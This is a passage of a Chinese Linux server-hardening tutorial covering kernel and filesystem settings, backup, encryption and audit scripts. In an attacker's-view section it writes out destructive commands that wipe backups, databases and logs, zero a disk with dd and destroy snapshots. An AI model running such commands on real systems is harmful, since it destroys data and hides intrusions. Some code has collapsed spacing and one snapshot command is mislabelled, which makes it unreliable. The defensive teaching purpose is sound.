# /etc/sysctl.d/99-security.conf# 网络安全参数# 禁止 IP 转发(除非是路由器)net.ipv4.ip_forward = 0net.ipv6.conf.all.forwarding = 0# 禁止 ICMP 重定向net.ipv4.conf.all.send_redirects = 0net.ipv4.conf.default.send_redirects = 0net.ipv4.conf.all.accept_redirects = 0net.ipv4.conf.default.accept_redirects = 0net.ipv6.conf.all.accept_redirects = 0net.ipv6.conf.default.accept_redirects = 0# 禁止源路由net.ipv4.conf.all.accept_source_route = 0net.ipv4.conf.default.accept_source_route = 0net.ipv6.conf.all.accept_source_route = 0net.ipv6.conf.default.accept_source_route = 0# 启用 SYN Cookie 防止 SYN 洪水攻击net.ipv4.tcp_syncookies = 1# 记录可疑数据包net.ipv4.conf.all.log_martians = 1net.ipv4.conf.default.log_martians = 1# 忽略 ICMP 广播请求(防止 Smurf 攻击)net.ipv4.icmp_echo_ignore_broadcasts = 1# 忽略错误的 ICMP 响应net.ipv4.icmp_ignore_bogus_error_responses = 1# 启用反向路径过滤(防止 IP 欺骗)net.ipv4.conf.all.rp_filter = 1net.ipv4.conf.default.rp_filter = 1# 内核安全参数# 启用 ASLR(地址空间布局随机化)kernel.randomize_va_space = 2# 限制内核指针泄露kernel.kptr_restrict = 2# 限制 dmesg 访问kernel.dmesg_restrict = 1# 禁用 SUID 程序的 Core Dumpfs.suid_dumpable = 0# 限制 ptrace(防止进程注入)kernel.yama.ptrace_scope = 1# 禁用非特权用户的 BPFkernel.unprivileged_bpf_disabled = 1
# 应用配置sudo sysctl -p /etc/sysctl.d/99-security.conf
◆ 7.4.2 文件系统加固
# /etc/fstab 加固示例# /tmp 分区加固tmpfs /tmp tmpfs defaults,noexec,nosuid,nodev,size=2G 0 0# /var/tmp 绑定到 /tmp/tmp /var/tmp none bind 0 0# /dev/shm 加固tmpfs /dev/shm tmpfs defaults,noexec,nosuid,nodev 0 0# /home 分区(如果独立分区)# 添加 nodev 选项/dev/sda3 /home ext4 defaults,nodev 0 2
# 重新挂载以立即生效sudo mount -o remount /tmpsudo mount -o remount /dev/shm
◆ 7.4.3 启用 SELinux/AppArmor
# CentOS/RHEL - SELinux# 检查状态getenforce# 启用sudo setenforce 1# 持久化配置sudo sed -i 's/SELINUX=disabled/SELINUX=enforcing/' /etc/selinux/configsudo sed -i 's/SELINUX=permissive/SELINUX=enforcing/' /etc/selinux/config# Ubuntu - AppArmor# 检查状态sudo aa-status# 启用sudo systemctl enable apparmorsudo systemctl start apparmor# 为服务设置 profilesudo aa-enforce /etc/apparmor.d/usr.sbin.nginx
◆ 7.4.4 配置自动安全更新
# Ubuntu/Debiansudo apt install -y unattended-upgradessudo dpkg-reconfigure -plow unattended-upgrades# /etc/apt/apt.conf.d/50unattended-upgradesUnattended-Upgrade::Allowed-Origins {"${distro_id}:${distro_codename}-security";};Unattended-Upgrade::Package-Blacklist { // 排除某些包};Unattended-Upgrade::AutoFixInterruptedDpkg "true";Unattended-Upgrade::MinimalSteps "true";Unattended-Upgrade::Mail "admin@example.com";Unattended-Upgrade::MailOnlyOnError "true";Unattended-Upgrade::Remove-Unused-Dependencies "true";Unattended-Upgrade::Automatic-Reboot "false";
# CentOS/RHELsudo yum install -y yum-cron# /etc/yum/yum-cron.confupdate_cmd = securityapply_updates = yesemit_via = emailemail_from = root@localhostemail_to = admin@example.comsudo systemctl enable yum-cronsudo systemctl start yum-cron
八、漏洞七:备份和恢复机制缺失
8.1 漏洞描述
没有备份的服务器就像没有保险的房子——火灾来了只能眼睁睁看着损失。勒索软件攻击之所以有效,很大程度上就是因为受害者没有可靠的备份。
8.2 攻击者视角
◆ 8.2.1 勒索软件攻击
# 勒索软件的典型行为# 1. 加密所有重要文件find / -type f \( -name "*.doc" -o -name "*.pdf" -o -name "*.sql" \) -exec encrypt_file {} \;# 2. 删除备份rm -rf /backup/*find / -name "*.bak" -deletefind / -name "*.backup" -delete# 3. 删除快照lvcreate --snapshot # 删除 LVM 快照zfs destroy pool@snapshot # 删除 ZFS 快照
◆ 8.2.2 破坏性攻击
# 删除关键数据rm -rf /var/www/*rm -rf /var/lib/mysql/*# 覆盖磁盘ddif=/dev/zero of=/dev/sda bs=1M# 删除日志以掩盖痕迹rm -rf /var/log/*
8.3 漏洞检测
#!/bin/bash# 备份策略检查脚本echo"=== 备份策略检查 ==="# 检查备份目录echo""echo"[检查] 备份目录:"BACKUP_DIRS="/backup /var/backup /home/backup /data/backup"fordirin$BACKUP_DIRS; doif [ -d "$dir" ]; then count=$(find $dir -type f -mtime -7 | wc -l)echo" $dir: 存在, 最近7天文件数: $count"fidone# 检查 cron 中的备份任务echo""echo"[检查] 定时备份任务:"grep -r "backup\|rsync\|mysqldump\|pg_dump\|tar" /etc/cron* /var/spool/cron 2>/dev/null | grep -v "^#"# 检查数据库备份echo""echo"[检查] 数据库备份:"ifcommand -v mysql &> /dev/null; thenecho" MySQL 已安装"if [ -f /root/.my.cnf ] && [ -d /backup/mysql ]; then latest=$(ls -t /backup/mysql/*.sql* 2>/dev/null | head -1)if [ -n "$latest" ]; thenecho" 最新备份: $latest"echo" 备份时间: $(stat -c %y $latest)"elseecho" [警告] 未找到 MySQL 备份文件"fififi# 检查远程备份配置echo""echo"[检查] 远程备份配置:"if [ -f /etc/rsyncd.conf ]; thenecho" rsync daemon 已配置"fiif crontab -l 2>/dev/null | grep -q "rsync.*@"; thenecho" 发现远程 rsync 备份任务"fiif [ -f ~/.aws/credentials ]; thenecho" 发现 AWS 凭证,可能使用 S3 备份"fi
8.4 加固方案
◆ 8.4.1 本地备份策略
#!/bin/bash# /usr/local/bin/backup.sh# 综合备份脚本set -e# 配置BACKUP_DIR="/backup"RETENTION_DAYS=30DATE=$(date +%Y%m%d_%H%M%S)HOSTNAME=$(hostname)# 创建备份目录mkdir -p $BACKUP_DIR/{system,mysql,files}# 系统配置备份echo"=== 备份系统配置 ==="tar -czf $BACKUP_DIR/system/etc_$DATE.tar.gz /etc/# 数据库备份echo"=== 备份数据库 ==="ifcommand -v mysqldump &> /dev/null; then mysqldump --all-databases --single-transaction --routines --triggers \ | gzip > $BACKUP_DIR/mysql/all_databases_$DATE.sql.gzfiifcommand -v pg_dumpall &> /dev/null; then pg_dumpall | gzip > $BACKUP_DIR/postgresql/all_databases_$DATE.sql.gzfi# 重要文件备份echo"=== 备份重要文件 ==="tar -czf $BACKUP_DIR/files/www_$DATE.tar.gz /var/www/tar -czf $BACKUP_DIR/files/home_$DATE.tar.gz /home/# 清理旧备份echo"=== 清理旧备份 ==="find $BACKUP_DIR -type f -mtime +$RETENTION_DAYS -delete# 验证备份echo"=== 验证备份 ==="for file in $(find $BACKUP_DIR -name "*_$DATE*"); doif gzip -t $file 2>/dev/null; thenecho" OK: $file"elseecho" FAILED: $file"fidoneecho"=== 备份完成 ==="
# 添加到 crontab# 每天凌晨 2 点执行备份0 2 * * * /usr/local/bin/backup.sh >> /var/log/backup.log 2>&1
◆ 8.4.2 远程备份(3-2-1 原则)
# 3-2-1 备份原则:# - 3 份数据副本# - 2 种不同存储介质# - 1 份异地存储# 使用 rsync 同步到远程服务器#!/bin/bash# /usr/local/bin/remote-backup.shBACKUP_DIR="/backup"REMOTE_HOST="backup-server.example.com"REMOTE_USER="backup"REMOTE_DIR="/backup/$(hostname)"# 使用 rsync 增量同步rsync -avz --delete \ -e "ssh -i /root/.ssh/backup_key -o StrictHostKeyChecking=yes" \$BACKUP_DIR/ \$REMOTE_USER@$REMOTE_HOST:$REMOTE_DIR/# 发送备份报告echo"备份完成: $(date)" | mail -s "备份报告 - $(hostname)" admin@example.com
# 使用 AWS S3#!/bin/bash# 安装 AWS CLI# pip install awscli# 配置BUCKET="s3://my-backup-bucket"BACKUP_DIR="/backup"# 同步到 S3aws s3 sync$BACKUP_DIR$BUCKET/$(hostname)/ \ --storage-class STANDARD_IA \ --delete# 设置生命周期策略转移到 Glacieraws s3api put-bucket-lifecycle-configuration \ --bucket my-backup-bucket \ --lifecycle-configuration file://lifecycle.json
◆ 8.4.3 备份加密
#!/bin/bash# 加密备份BACKUP_FILE=$1ENCRYPTED_FILE="${BACKUP_FILE}.enc"GPG_RECIPIENT="backup@example.com"# 使用 GPG 加密gpg --encrypt --recipient $GPG_RECIPIENT \ --output $ENCRYPTED_FILE \$BACKUP_FILE# 删除未加密文件rm -f $BACKUP_FILEecho"加密完成: $ENCRYPTED_FILE"
# 使用 OpenSSL 加密(适合自动化)# 加密openssl enc -aes-256-cbc -salt -pbkdf2 \ -in backup.tar.gz \ -out backup.tar.gz.enc \ -pass file:/root/.backup-password# 解密openssl enc -aes-256-cbc -d -pbkdf2 \ -in backup.tar.gz.enc \ -out backup.tar.gz \ -pass file:/root/.backup-password
◆ 8.4.4 备份验证和恢复测试
#!/bin/bash# 备份验证脚本BACKUP_DIR="/backup"TEST_DIR="/tmp/backup-test"DATE=$(date +%Y%m%d)echo"=== 备份验证开始 ==="# 创建测试目录rm -rf $TEST_DIRmkdir -p $TEST_DIR# 获取最新备份LATEST_BACKUP=$(ls -t $BACKUP_DIR/files/*.tar.gz | head -1)# 解压测试echo"测试解压: $LATEST_BACKUP"tar -tzf $LATEST_BACKUP > /dev/nullif [ $? -eq 0 ]; thenecho" 解压测试: 通过"elseecho" 解压测试: 失败"exit 1fi# 完整性检查echo"测试完整性..."tar -xzf $LATEST_BACKUP -C $TEST_DIRFILE_COUNT=$(find $TEST_DIR -type f | wc -l)echo" 解压文件数: $FILE_COUNT"# 数据库备份测试LATEST_DB=$(ls -t $BACKUP_DIR/mysql/*.sql.gz | head -1)echo"测试数据库备份: $LATEST_DB"zcat $LATEST_DB | head -100 > /dev/nullif [ $? -eq 0 ]; thenecho" 数据库备份测试: 通过"elseecho" 数据库备份测试: 失败"fi# 清理rm -rf $TEST_DIRecho"=== 备份验证完成 ==="
九、安全自查清单
9.1 快速检查脚本
#!/bin/bash# 综合安全自查脚本# security-audit.shRED='\033[0;31m'GREEN='\033[0;32m'YELLOW='\033[1;33m'NC='\033[0m'# No Colorecho"======================================"echo" Linux 服务器安全自查报告"echo" 检查时间: $(date)"echo" 主机名: $(hostname)"echo"======================================"PASS=0WARN=0FAIL=0check_result() {if [ "$1" == "PASS" ]; thenecho -e "${GREEN}[PASS]${NC}$2" ((PASS++))elif [ "$1" == "WARN" ]; thenecho -e "${YELLOW}[WARN]${NC}$2" ((WARN++))elseecho -e "${RED}[FAIL]${NC}$2" ((FAIL++))fi}echo""echo"=== SSH 安全 ==="# SSH root 登录if grep -q "^PermitRootLogin no" /etc/ssh/sshd_config; then check_result "PASS""禁止 root 登录"else check_result "FAIL""允许 root 登录"fi# SSH 密码认证if grep -q "^PasswordAuthentication no" /etc/ssh/sshd_config; then check_result "PASS""禁用密码认证"else check_result "WARN""允许密码认证"fiecho""echo"=== 密码策略 ==="# 密码最长有效期MAX_DAYS=$(grep "^PASS_MAX_DAYS" /etc/login.defs | awk '{print $2}')if [ "$MAX_DAYS" -le 90 ]; then check_result "PASS""密码最长有效期: $MAX_DAYS 天"else check_result "WARN""密码有效期过长: $MAX_DAYS 天"fiecho""echo"=== 权限配置 ==="# 检查危险 SUID 文件DANGEROUS=$(find /usr -perm -4000 -type f 2>/dev/null | grep -E "vim|vi|nano|find|python|perl" | wc -l)if [ "$DANGEROUS" -eq 0 ]; then check_result "PASS""无危险 SUID 文件"else check_result "FAIL""发现 $DANGEROUS 个危险 SUID 文件"fi# /etc/shadow 权限SHADOW_PERM=$(stat -c "%a" /etc/shadow)if [ "$SHADOW_PERM" == "600" ] || [ "$SHADOW_PERM" == "000" ]; then check_result "PASS""/etc/shadow 权限正确: $SHADOW_PERM"else check_result "FAIL""/etc/shadow 权限不正确: $SHADOW_PERM"fiecho""echo"=== 服务和端口 ==="# 检查高危服务for port in 21 23 3306 6379 27017 2375; doif ss -tulnp | grep -q ":$port.*0.0.0.0"; then check_result "FAIL""高危端口 $port 监听所有接口"fidone# 防火墙状态if systemctl is-active --quiet firewalld || systemctl is-active --quiet ufw; then check_result "PASS""防火墙已启用"else check_result "FAIL""防火墙未启用"fiecho""echo"=== 日志和审计 ==="# 审计服务if systemctl is-active --quiet auditd; then check_result "PASS""审计服务已启用"else check_result "WARN""审计服务未启用"fi# 远程日志if grep -q "^*.*@" /etc/rsyslog.conf 2>/dev/null; then check_result "PASS""已配置远程日志"else check_result "WARN""未配置远程日志"fiecho""echo"=== 系统加固 ==="# ASLRASLR=$(cat /proc/sys/kernel/randomize_va_space)if [ "$ASLR" == "2" ]; then check_result "PASS""ASLR 已启用"else check_result "FAIL""ASLR 未完全启用: $ASLR"fi# SELinux/AppArmorifcommand -v getenforce &>/dev/null; then SE_STATUS=$(getenforce)if [ "$SE_STATUS" == "Enforcing" ]; then check_result "PASS""SELinux: $SE_STATUS"else check_result "WARN""SELinux: $SE_STATUS"fielifcommand -v aa-status &>/dev/null; then AA_STATUS=$(aa-status --enabled 2>/dev/null && echo"enabled" || echo"disabled")if [ "$AA_STATUS" == "enabled" ]; then check_result "PASS""AppArmor 已启用"else check_result "WARN""AppArmor 未启用"fielse check_result "WARN""未安装 SELinux 或 AppArmor"fiecho""echo"=== 备份 ==="# 检查备份目录if [ -d /backup ] && [ "$(find /backup -type f -mtime -7 | wc -l)" -gt 0 ]; then check_result "PASS""发现最近的备份文件"else check_result "WARN""未发现最近的备份文件"fiecho""echo"======================================"echo" 检查完成"echo"======================================"echo -e " ${GREEN}通过: $PASS${NC}"echo -e " ${YELLOW}警告: $WARN${NC}"echo -e " ${RED}失败: $FAIL${NC}"echo"======================================"
十、总结
10.1 核心要点回顾
- • SSH 安全:禁用 root 登录,使用密钥认证,配置 Fail2Ban
- • 密码管理:强密码策略,定期更换,使用密钥管理工具
- • 权限控制:最小权限原则,清理 SUID,安全的 sudo 配置
- • 服务暴露:最小化开放端口,绑定内网接口,启用防火墙
- • 系统加固:安全的内核参数,文件系统限制,安全模块
- • 备份策略:3-2-1 原则,加密备份,定期验证
10.2 安全是持续的过程
安全不是一次性的配置,而是持续的过程:
- 1. 定期扫描:使用 Lynis、CIS-CAT 等工具定期扫描
10.3 进阶学习方向
- • Kubernetes RBAC 和 Pod Security
10.4 参考资料
- • CIS Benchmarks - 权威的安全基线
- • Linux Security HOWTO - Linux 安全指南
附录
A. 常用安全工具
# 安全扫描工具lynis audit system # 系统安全扫描chkrootkit # Rootkit 检测rkhunter --check # Rootkit 检测tiger # 安全审计# 入侵检测aide --check # 文件完整性检查ossec # 主机入侵检测系统# 漏洞扫描nmap -sV --script vuln target # 漏洞扫描nikto -h target # Web 漏洞扫描
B. 安全检查命令速查
# 用户和权限cat /etc/passwd # 查看用户cat /etc/shadow # 查看密码哈希cat /etc/group # 查看组getent passwd # 获取用户信息id username # 查看用户 ID 和组sudo -l # 查看 sudo 权限find / -perm -4000 # 查找 SUID 文件find / -perm -2000 # 查找 SGID 文件# 网络和服务ss -tulnp # 查看监听端口netstat -tulnp # 查看监听端口(旧)systemctl list-unit-files # 查看服务ps aux # 查看进程lsof -i # 查看网络连接# 日志journalctl -xe # 查看系统日志tail -f /var/log/auth.log # 查看认证日志ausearch -m LOGIN # 查看登录审计last # 查看登录历史lastb # 查看失败登录# 系统信息uname -a # 系统版本cat /etc/os-release # 发行版信息uptime# 运行时间who# 当前登录用户w # 用户活动
C. 术语表
| | |
|---|
| | |
| | |
| Address Space Layout Randomization | |
| Pluggable Authentication Modules | |
| | |
| | |
| | |
| | |
| | |
| | |
为了方便大家更好的交流运维等相关技术问题,创建了微信交流群,需要加群的小伙伴们可以扫一扫下面的二维码加我为好友拉您进群(备注:加群)。

| 代码仓库 | 网址 |
| Github | https://github.com/raymond999999 |
| Gitee | https://gitee.com/raymond9 |
| 博客 | 网址 |
| https://blog.csdn.net/qq_25599925 |
| 稀土掘金 | https://juejin.cn/user/4262187909781751 |
| 知识星球 | https://wx.zsxq.com/group/15555885545422 |
| 阿里云社区 | https://developer.aliyun.com/profile/snzh3xpxaf6sg |
| 腾讯云社区 | https://cloud.tencent.com/developer/user/11823619 |
| 华为云社区 | https://developer.huaweicloud.com/usercenter/mycommunity/dynamics |
访问博客网站,查看更多优质原创内容。